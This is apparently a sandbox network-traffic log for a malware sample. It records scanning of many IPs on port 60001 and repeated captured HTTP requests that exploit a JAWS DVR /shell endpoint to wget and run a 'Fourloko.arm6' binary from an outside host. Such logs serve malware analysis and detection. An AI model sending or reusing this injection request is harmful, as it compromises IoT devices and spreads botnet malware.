Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 110.142.149.26:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 68.51.176.240:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 179.194.178.146:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 146.128.68.133:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 136.51.218.76:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 146.210.187.255:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 24.67.189.181:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 199.191.253.172:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 196.104.229.232:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 207.255.133.225:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 119.30.177.23:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 80.86.89.77:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 145.106.146.197:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 219.159.121.69:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 153.51.119.151:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 178.84.97.214:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 13.162.54.253:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 175.86.221.139:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 121.84.53.180:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 9.158.166.108:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 118.21.240.176:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 32.32.192.7:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 96.172.88.206:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 46.164.32.50:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 14.7.242.222:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 183.246.192.47:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 217.181.152.36:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 100.231.48.165:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 186.145.60.198:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 184.25.157.100:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 178.103.226.231:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 218.29.199.43:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 14.123.12.230:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 171.193.100.254:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 220.217.74.67:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 98.166.40.3:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 210.100.109.251:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 145.208.215.128:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 104.154.154.35:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 207.118.104.182:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 151.64.251.206:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 139.112.4.200:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 51.47.160.220:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 176.63.176.119:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 119.173.6.123:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 148.80.235.45:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 99.118.20.107:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 209.24.191.130:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 209.218.250.31:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 91.150.180.188:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 205.198.219.70:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 147.137.194.70:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 98.126.177.157:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 103.198.90.21:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 187.176.222.47:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 201.178.68.88:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 143.52.64.34:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 25.246.49.197:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 67.25.38.247:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 83.172.6.247:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 184.16.96.43:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 40.109.172.147:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 75.160.22.114:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 131.23.138.36:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 82.54.156.201:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 49.21.239.14:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 45.211.38.194:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 39.85.5.199:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 208.216.1.55:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 205.250.234.111:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 131.15.5.107:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 111.209.145.118:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 65.189.12.187:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 89.60.63.88:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 107.175.253.27:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 180.245.123.229:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 183.57.158.151:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 104.128.70.119:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 197.127.68.6:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 145.178.9.37:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 99.210.219.137:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 213.193.84.132:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 58.254.82.243:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 27.112.68.201:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 117.184.136.58:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 82.228.21.237:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 66.77.221.176:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 83.244.1.171:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 12.140.105.202:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 153.164.149.74:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 116.90.170.22:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 45.83.241.255:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 140.133.83.0:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 181.69.206.42:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 125.41.220.188:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 190.30.5.246:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 211.59.101.208:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 222.246.195.63:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 83.217.147.190:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 222.41.90.71:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 31.216.232.101:60001

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 186.118.144.241
Source: unknown	TCP traffic detected without corresponding DNS query: 95.161.169.3
Source: unknown	TCP traffic detected without corresponding DNS query: 92.70.119.243
Source: unknown	TCP traffic detected without corresponding DNS query: 161.46.243.82
Source: unknown	TCP traffic detected without corresponding DNS query: 32.225.225.241
Source: unknown	TCP traffic detected without corresponding DNS query: 196.180.244.124
Source: unknown	TCP traffic detected without corresponding DNS query: 174.44.144.58
Source: unknown	TCP traffic detected without corresponding DNS query: 129.57.39.82
Source: unknown	TCP traffic detected without corresponding DNS query: 218.75.52.213
Source: unknown	TCP traffic detected without corresponding DNS query: 94.81.141.191
Source: unknown	TCP traffic detected without corresponding DNS query: 159.134.116.150
Source: unknown	TCP traffic detected without corresponding DNS query: 223.46.43.244
Source: unknown	TCP traffic detected without corresponding DNS query: 146.130.4.81
Source: unknown	TCP traffic detected without corresponding DNS query: 180.103.152.86
Source: unknown	TCP traffic detected without corresponding DNS query: 221.216.112.40
Source: unknown	TCP traffic detected without corresponding DNS query: 169.109.155.26
Source: unknown	TCP traffic detected without corresponding DNS query: 187.235.230.99
Source: unknown	TCP traffic detected without corresponding DNS query: 129.241.178.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.133.230.108
Source: unknown	TCP traffic detected without corresponding DNS query: 50.57.90.117
Source: unknown	TCP traffic detected without corresponding DNS query: 135.68.189.65
Source: unknown	TCP traffic detected without corresponding DNS query: 196.191.120.68
Source: unknown	TCP traffic detected without corresponding DNS query: 142.149.32.209
Source: unknown	TCP traffic detected without corresponding DNS query: 136.234.129.44
Source: unknown	TCP traffic detected without corresponding DNS query: 179.145.165.149
Source: unknown	TCP traffic detected without corresponding DNS query: 218.183.78.89
Source: unknown	TCP traffic detected without corresponding DNS query: 39.21.179.73
Source: unknown	TCP traffic detected without corresponding DNS query: 73.202.12.93
Source: unknown	TCP traffic detected without corresponding DNS query: 193.112.196.232
Source: unknown	TCP traffic detected without corresponding DNS query: 202.174.158.162
Source: unknown	TCP traffic detected without corresponding DNS query: 135.167.162.253
Source: unknown	TCP traffic detected without corresponding DNS query: 44.193.126.40
Source: unknown	TCP traffic detected without corresponding DNS query: 131.207.90.155
Source: unknown	TCP traffic detected without corresponding DNS query: 71.93.44.28
Source: unknown	TCP traffic detected without corresponding DNS query: 170.216.237.9
Source: unknown	TCP traffic detected without corresponding DNS query: 187.30.82.237
Source: unknown	TCP traffic detected without corresponding DNS query: 23.224.65.86
Source: unknown	TCP traffic detected without corresponding DNS query: 198.206.109.28
Source: unknown	TCP traffic detected without corresponding DNS query: 120.13.77.178
Source: unknown	TCP traffic detected without corresponding DNS query: 109.228.22.34
Source: unknown	TCP traffic detected without corresponding DNS query: 112.101.103.97
Source: unknown	TCP traffic detected without corresponding DNS query: 147.192.60.177
Source: unknown	TCP traffic detected without corresponding DNS query: 82.120.66.187
Source: unknown	TCP traffic detected without corresponding DNS query: 135.29.54.171
Source: unknown	TCP traffic detected without corresponding DNS query: 126.228.13.150
Source: unknown	TCP traffic detected without corresponding DNS query: 77.147.217.125
Source: unknown	TCP traffic detected without corresponding DNS query: 1.226.55.214
Source: unknown	TCP traffic detected without corresponding DNS query: 133.150.192.103
Source: unknown	TCP traffic detected without corresponding DNS query: 170.5.215.105
Source: unknown	TCP traffic detected without corresponding DNS query: 69.124.77.13

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: JAWS/1.0 Jan 21 2017Content-Type: text/html; charset=UTF-8Content-length: 213
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: JAWS/1.0 Sep 18 2018Content-Type: text/html; charset=UTF-8Content-length: 213

Source: 1xtO9V8ku8

String found in binary or memory: http://upx.sf.net

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
